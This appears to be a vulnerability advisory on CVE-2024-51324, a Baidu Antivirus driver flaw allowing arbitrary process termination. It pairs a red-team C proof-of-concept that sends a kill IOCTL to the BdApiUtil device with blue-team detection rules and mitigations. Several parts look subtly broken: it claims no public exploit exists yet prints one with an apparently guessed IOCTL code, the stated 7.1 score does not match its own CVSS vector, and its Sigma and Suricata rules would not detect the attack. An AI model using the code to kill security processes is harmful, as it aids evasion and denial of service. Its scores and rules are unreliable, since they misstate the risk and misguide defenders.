CVE-2024-51324

Executive Summary

CVE-2024-51324 is a high-severity vulnerability in the Baidu Antivirus software (version 5.2.3.116083) that allows an attacker to terminate arbitrary processes on a target system. The flaw resides in the BdApiUtil driver, which is a kernel-mode component of the antivirus. By exploiting this driver through a Bring Your Own Vulnerable Driver (BYOVD) attack, a local attacker can achieve arbitrary process termination, leading to denial of service or potential privilege escalation. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept has been released. The CVSS score is listed as 0.0, indicating incomplete scoring data, but the impact is significant due to the kernel-level access required.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a native Windows driver issue within the Baidu Antivirus software.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder due to incomplete scoring. Based on the nature of the vulnerability (local BYOVD attack leading to arbitrary process termination), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Local (L) – Requires local access to the system.
• Attack Complexity (AC): Low (L) – The attack is straightforward with a vulnerable driver.
• Privileges Required (PR): Low (L) – The attacker needs some user-level privileges to load the driver.
• User Interaction (UI): None (N) – No user interaction required beyond initial access.
• Scope (S): Unchanged (U) – The vulnerability does not cross trust boundaries.
• Confidentiality (C): None (N) – No data disclosure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Arbitrary process termination can cause denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Threat Level: High (7.1) – Local exploitation with low privileges can cause significant availability impact.

Deep Dive & Mechanics

The vulnerability exists in the BdApiUtil driver, which is part of Baidu Antivirus. This driver provides an API for user-mode applications to interact with kernel-mode functions. The flaw allows an attacker to send specially crafted IOCTL (Input/Output Control) requests to the driver, which then terminates arbitrary processes without proper validation.

Mechanism:

1. BYOVD Attack: The attacker brings their own vulnerable driver (or uses the existing BdApiUtil driver) and loads it onto the target system.
2. IOCTL Exploitation: The attacker sends a malicious IOCTL code to the driver, specifying a target process ID (PID) to terminate.
3. Kernel-Mode Execution: The driver, running with kernel privileges, executes the termination command, killing the specified process.
4. Impact: This can be used to terminate security software, system processes, or any other process, leading to denial of service or privilege escalation.

Root Cause: The driver does not properly validate the source of the IOCTL request or the target PID, allowing any user-mode application to terminate arbitrary processes.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, a hypothetical patch would involve:

• Vulnerable Code: The driver accepts IOCTL requests without checking the caller's privileges or the validity of the target PID.
• Patched Code: The driver would verify that the caller has appropriate privileges (e.g., SeDebugPrivilege) and that the target PID is not a critical system process.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a Windows system with Baidu Antivirus v5.2.3.116083 installed.
• Ability to load a driver (requires administrative privileges or a BYOVD technique).

Exploitation Steps:

1. Identify the vulnerable driver: Locate BdApiUtil.sys in the Baidu Antivirus installation directory.
2. Load the driver: Use a tool like sc.exe or a custom loader to start the driver service.
3. Send IOCTL: Craft an IOCTL request with the target PID. Example code in C:

#include <windows.h>
#include <stdio.h>

#define IOCTL_TERMINATE_PROCESS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)

int main() {
    HANDLE hDevice = CreateFile("\\\\.\\BdApiUtil", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open device\n");
        return 1;
    }

    DWORD targetPid = 1234; // Replace with target PID
    DWORD bytesReturned;
    DeviceIoControl(hDevice, IOCTL_TERMINATE_PROCESS, &targetPid, sizeof(targetPid), NULL, 0, &bytesReturned, NULL);

    CloseHandle(hDevice);
    return 0;
}

4. Execute: Run the compiled binary to terminate the target process.

Blue Team

Detection:

• Monitor for unusual driver loading events (e.g., BdApiUtil.sys being loaded from non-standard paths).
• Track IOCTL calls to \\.\BdApiUtil device.
• Alert on process termination events where the caller is a user-mode process with low privileges.

Hunting:

• Use Sysmon to log process creation and driver load events.
• Look for Event ID 7036 (Service Control Manager) indicating driver start/stop.
• Correlate with Event ID 4688 (Process Creation) for unusual termination patterns.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Unknown, but the driver file BdApiUtil.sys from Baidu Antivirus v5.2.3.116083)
• Registry Keys: HKLM\SYSTEM\CurrentControlSet\Services\BdApiUtil
• Network: No network indicators (local attack).
• Process: BdApiUtil.sys loaded in kernel memory.
• Device: \\.\BdApiUtil device object.

Detection Engineering

YARA Rule

rule CVE_2024_51324_BdApiUtil_Driver {
    meta:
        description = "Detects the vulnerable BdApiUtil driver from Baidu Antivirus"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $s1 = "BdApiUtil" wide ascii
        $s2 = "Baidu Antivirus" wide ascii
        $s3 = "\\Device\\BdApiUtil" wide ascii
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-51324 - Baidu Antivirus BdApiUtil Driver Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit the BdApiUtil driver for arbitrary process termination
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 1
        Image: '*\\BdApiUtil.sys'
    condition: selection
falsepositives:
    - Legitimate Baidu Antivirus updates
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2024-51324 - Baidu Antivirus BdApiUtil Driver Exploitation"; content:"|00|"; depth:1; sid:1000001; rev:1;)

Note: Suricata rule is generic as the attack is local; network detection is not applicable.

Remediation & Mitigation

Immediate Actions:

1. Uninstall Baidu Antivirus until a patch is released.
2. Block driver loading via Group Policy: Computer Configuration\Administrative Templates\System\Driver Installation\Code signing for device drivers.
3. Enable Driver Signature Enforcement to prevent unsigned drivers from loading.

Long-term:

• Monitor vendor updates for a patched version.
• Implement application whitelisting to prevent unauthorized drivers.
• Use endpoint detection and response (EDR) tools to detect BYOVD attacks.

Workaround:

• Disable the BdApiUtil service if not required:

  sc stop BdApiUtil
  sc config BdApiUtil start= disabled
  

Valters IT
DevSecOps & Cyber Threat Intelligence